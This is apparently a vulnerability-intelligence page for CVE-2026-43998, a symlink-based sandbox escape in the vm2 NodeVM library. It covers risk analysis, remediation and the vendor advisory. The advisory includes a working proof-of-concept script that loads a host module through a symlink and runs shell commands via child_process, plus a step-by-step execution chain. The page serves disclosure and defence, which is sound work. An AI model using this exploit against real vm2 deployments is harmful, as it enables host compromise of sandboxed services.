vm2 CVE-2026-43998
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSubmit code to NodeVM sandbox
-
DeliveryRequire whitelisted package name
-
ExploitSymlink path passes validation check
-
InstallNode require() follows symlink outside root
-
C2Load attacker-controlled module in host context
-
ExecuteInstantiate privileged inner VM with child_process
-
ImpactExecute arbitrary shell commands
-
Step 8Compromise host system
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Symlink resolution safety
|
| Exploitation Conditions | Attack requires the ability to submit code to a vm2 NodeVM sandbox (the intended use case for vm2) AND the presence of filesystem symlinks inside the configured |
| Impact | This represents a critical real-world risk with confirmed active exploitation (CISA KEV) and publicly available proof-of-concept code. The CVSS 3.1 score of 8.5 (AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) accurately reflects the severity: network-accessible attack vector with changed scope (sandbox boundary breach) and high impact across all CIA triad dimensions. Attack Complexity is rated High because exploitation requires symlinks inside the allowed root pointing outside it, but this precondition is actually COMMON in modern Node.js deployments - pnpm's architecture creates these symlinks by design, and npm workspaces/npm link are standard development workflows. The PR:L (Privileges Required: Low) rating is correct: the attacker only needs the ability to submit code to the sandbox, which is the intended use case for vm2. The Changed Scope rating is critical - the vulnerability breaks the fundamental security boundary vm2 is designed to enforce. EPSS data is not provided, but KEV listing indicates observed exploitation in the wild. The GitHub advisory confirms this is one of thirteen vulnerabilities closed in the coordinated security release, several of which are described as 'full sandbox-escape RCE primitives.' Real-world exploitation is straightforward: any application using vm2 to sandbox user-submitted plugins, serverless functions, or script execution is vulnerable if deployed with pnpm or workspace configurations. The proof-of-concept demonstrates a clean sandbox escape requiring only 15 lines of attacker-controlled code. Priority for remediation should be CRITICAL for any deployment running untrusted code through vm2, regardless of CVSS Attack Complexity rating, because the 'High' complexity precondition is met by default in many production environments. No compensating controls exist - the symlink conditions are created by the package manager, not controlled by the application developer. |
| Exploit ScenarioDerived | An attacker deploys a malicious plugin to a Node.js application that uses vm2 to sandbox user-submitted code, where the production environment uses pnpm for package management. The pnpm architecture creates symlinks in node_modules pointing to the centralized .pnpm store. The attacker's plugin code calls |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 07, 2026
Remote code execution in vm2 NodeVM sandbox allows untrusted code to bypass require.root path restrictions and load arbitrary modules from outside the allowed root directory via symlink traversal. The vulnerability exploits a check/use path discrepancy: path validation uses path.resolve() which does not dereference symlinks, but module loading uses Node's native require() which does follow symlinks. Attackers with ability to submit code to the sandbox (the intended use case) can load host-realm modules like vm2 itself or child_process to achieve arbitrary command execution. Confirmed actively exploited (CISA KEV) with publicly available exploit code. Common in production environments using pnpm (where ALL node_modules are symlinks), npm workspaces, or npm link. Vendor-released patch: vm2 3.11.0.
RemediationAI
Upgrade to vm2 version 3.11.0 immediately. The patch implements symlink dereferencing using fs.realpathSync() before path validation, ensuring both the check and the subsequent module load operate on the actual filesystem location rather than the symlink path. The fix adds a realpath() method to the FileSystem adapter contract and dereferences both candidate module paths and configured root paths at validation time. For the vm2 3.11.0 upgrade: run npm update vm2 or pnpm update vm2 and verify the installed version with npm list vm2. Review the release notes at https://github.com/patriksimek/vm2/releases/tag/v3.11.0 as the coordinated release also closes twelve additional sandbox-escape vulnerabilities and introduces a new bufferAllocLimit configuration option. No workarounds exist that do not require code changes to vm2 itself. Organizations unable to upgrade immediately should consider these compensating controls with their trade-offs: Disable pnpm/workspaces/npm-link and use only traditional node_modules with copied packages (eliminates symlink attack surface but breaks many modern development workflows and increases disk usage). Run vm2 sandboxes inside OS-level containers or VMs with restricted filesystem mounts (adds operational complexity and performance overhead but provides defense-in-depth if sandbox escapes occur). Implement mandatory access control policies (AppArmor/SELinux) that prevent the Node.js process from following symlinks outside the intended directory tree (requires per-deployment tuning and may break legitimate symlink usage). Do NOT rely on disabling specific packages via the external allowlist - attackers can use any host-context module with dangerous capabilities, not just the ones in the proof-of-concept. The only effective mitigation is upgrading to 3.11.0.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vm2 library provides JavaScript sandbox environments for executing untrusted code via NodeVM and VM classes. The require.root option restricts which directories sandboxed code can load modules from, intended to prevent access to host-system capabilities. The vulnerability stems from CWE-59 (Improper Link Resolution Before File Access) in the module resolution chain. Specifically, CustomResolver.isPathAllowed() in lib/resolver-compat.js validates paths using path.resolve() from Node.js core, which normalizes paths (resolves . and ..) but does NOT dereference symbolic links. The validation performs a string-prefix check to ensure the resolved path starts with the allowed root. However, the actual module loading delegates to Node's native require() via CustomResolver.loadJS(), and Node's require implementation DOES follow symlinks when loading modules. This creates a time-of-check-time-of-use (TOCTOU) vulnerability where a symlink at /allowed/root/node_modules/safe pointing to /outside/root/malicious passes validation as /allowed/root/node_modules/safe but loads code from /outside/root/malicious. The vulnerability is pervasive because no symlink-aware functions (realpath, readlink, lstat) exist anywhere in the lib/ directory codebase. Modern Node.js package managers exacerbate this: pnpm implements all node_modules as symlinks to a central content-addressable store, npm workspaces creates symlinks between workspace packages, and npm link creates symlinks for local development. The affected package is pkg:npm/vm2, confirmed vulnerable in version 3.10.5 and earlier.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
DescriptionCVE.org
Summary
NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.
Severity
High (CVSS 3.1: 8.5)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack Vector: Network - sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
- Attack Complexity: High - requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments
- Privileges Required: Low - attacker needs only the ability to submit code to the sandbox, which is the intended use case
- User Interaction: None
- Scope: Changed - the vulnerability is in the sandbox boundary; impact is on the host system
- Confidentiality Impact: High - arbitrary file read via host command execution
- Integrity Impact: High - arbitrary command execution on the host
- Availability Impact: High - arbitrary command execution on the host
Affected Component
lib/resolver-compat.js-CustomResolver.isPathAllowed()(line 53-60)lib/resolver-compat.js-CustomResolver.loadJS()(line 62-66)lib/filesystem.js-DefaultFileSystem.resolve()(line 8-10)
CWE
- CWE-59: Improper Link Resolution Before File Access
Description
Root Cause: Check/Use Path Discrepancy
The isPathAllowed method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:
// lib/resolver-compat.js:53-60
isPathAllowed(filename) {
return this.rootPaths === undefined || this.rootPaths.some(path => {
if (!filename.startsWith(path)) return false;
const len = path.length;
if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
return this.fs.isSeparator(filename[len]);
});
}The filename passed to this check is resolved via DefaultFileSystem.resolve(), which uses path.resolve():
// lib/filesystem.js:8-10
resolve(path) {
return pa.resolve(path);
}path.resolve() normalizes the path (resolves ., .., and makes it absolute) but does NOT dereference symlinks. A symlink at /root/node_modules/safe pointing to /outside/root/malicious resolves to /root/node_modules/safe - passing the prefix check.
However, the actual module loading uses Node's native require(), which does follow symlinks:
// lib/resolver-compat.js:62-66
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename);
mod.exports = vm.readonly(m);
}No Symlink Defenses Exist
A search for realpath, readlink, lstat, or any symlink-aware function across the entire lib/ directory returns zero results. Neither DefaultFileSystem nor VMFileSystem provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:
// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;Full Execution Chain
- Host creates
NodeVMwithrequire: { external: ['safe'], root: '/tmp/root', context: 'host' } - A symlink exists:
/tmp/root/node_modules/safe→/outside/root/vm2/(e.g., via pnpm, npm link, or workspaces) - Sandbox code calls
require('safe') DefaultResolver.resolveFull()resolves to/tmp/root/node_modules/safe/index.jstryFile()callsthis.fs.resolve(x)→path.resolve()→/tmp/root/node_modules/safe/index.js(symlink NOT followed)isPathAllowed()checks if path starts with/tmp/root/→ PASSESloadJS()detectscontext: 'host', callsthis.hostRequire(filename)- Node's
require()follows the symlink, loads from/outside/root/vm2/index.js - Module executes in host realm; exports proxied to sandbox
- Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with
child_process)
Proof of Concept
const path = require('path');
const fs = require('fs');
const os = require('os');
const { NodeVM } = require('vm2');
// Create an "allowed" root directory
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));
fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });
// Symlink inside root pointing to vm2 package outside root
// In real deployments: pnpm, npm link, workspaces create these automatically
const link = path.join(root, 'node_modules', 'safe');
fs.symlinkSync(path.resolve(__dirname), link, 'dir');
const vm = new NodeVM({
require: {
external: ['safe'],
root,
context: 'host',
builtin: [], // no builtins allowed
},
});
// Sandbox code loads vm2 from outside root via symlink,
// creates a privileged inner NodeVM to get child_process
const out = vm.run(`
const { NodeVM } = require('safe');
const inner = new NodeVM({ require: { builtin: ['child_process'] } });
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()",
'inner.js'
);
`, path.join(root, 'vm.js'));
console.log(out.trim()); // prints host uid/gid - RCE achievedImpact
- Sandbox escape: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.
- Remote code execution: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.
- Bypasses
require.rootentirely: The root restriction - the primary defense against module loading attacks - provides no protection when symlinks are present. - Common in production: pnpm (where ALL
node_modulesare symlinks), npm workspaces, andnpm linkall create the symlink conditions required for exploitation. - Silent failure: No error or warning is raised when a symlink traverses outside the root.
Recommended Remediation
Option 1: Dereference symlinks with fs.realpathSync before path validation (Preferred)
Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:
// lib/filesystem.js - add a realpath method
const fs = require('fs');
class DefaultFileSystem {
resolve(path) {
return pa.resolve(path);
}
realpath(path) {
return fs.realpathSync(path);
}
// ... rest unchanged
}// lib/resolver-compat.js - use realpath in isPathAllowed or before calling it
isPathAllowed(filename) {
let realFilename;
try {
realFilename = this.fs.realpath(filename);
} catch (e) {
return false; // file doesn't exist or can't be resolved
}
return this.rootPaths === undefined || this.rootPaths.some(path => {
if (!realFilename.startsWith(path)) return false;
const len = path.length;
if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
return this.fs.isSeparator(realFilename[len]);
});
}Also dereference root paths at construction time:
// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => {
const resolved = fsOpt.resolve(f);
try { return fs.realpathSync(resolved); } catch (e) { return resolved; }
}) : undefined;Tradeoff: realpathSync adds a syscall per path check. Cache results to minimize overhead.
Option 2: Validate the realpath in makeExtensionHandler / checkAccess
Add a realpath check at the enforcement point in Resolver.makeExtensionHandler:
makeExtensionHandler(vm, name) {
return (mod, filename) => {
filename = this.fs.resolve(filename);
// Dereference symlinks before access check
try {
const realFilename = fs.realpathSync(filename);
if (realFilename !== filename) {
// Filename was a symlink - validate the real path too
this.checkAccess(mod, realFilename);
}
} catch (e) {
throw new VMError(`Access denied to require '${filename}'`, 'EDENIED');
}
this.checkAccess(mod, filename);
this[name](vm, mod, filename);
};
}Tradeoff: Fixes it at a higher layer but doesn't protect custom resolvers that bypass makeExtensionHandler.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Blast Radius
ecosystem impact- 11 npm packages depend on vm2 (1 direct, 10 indirect)
Ecosystem-wide dependent count for version 3.10.5.
Executive ViewAI
vm2 NodeVM contains a critical sandbox escape vulnerability (CVE-2026-43998) that allows untrusted code execution to bypass path restrictions and achieve arbitrary command execution on the host system. Organizations using vm2 to sandbox third-party or user-submitted code-particularly with pnpm, npm workspaces, or npm link configurations-face immediate risk of complete system compromise. This vulnerability is actively exploited in the wild with public exploit code available.
Vendor-released patch: vm2 3.11.0. If immediate patching is not feasible: (1) Disable NodeVM sandbox functionality entirely and reject sandboxed code execution until patched; (2) Restrict network access and file system permissions for processes running vm2 using OS-level controls (seccomp, AppArmor, or SELinux); (3) Remove or audit symlinks in node_modules directories and enforce non-symlink module resolution where possible; (4) Implement host-level monitoring for unexpected child_process spawning or file access from NodeVM execution contexts. These mitigations reduce but do not eliminate risk.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
Related Vulnerabilities in vm2 Sandbox Escape Vulnerabilities
View all 11Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
GHSA-cp6g-6699-wx9c
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB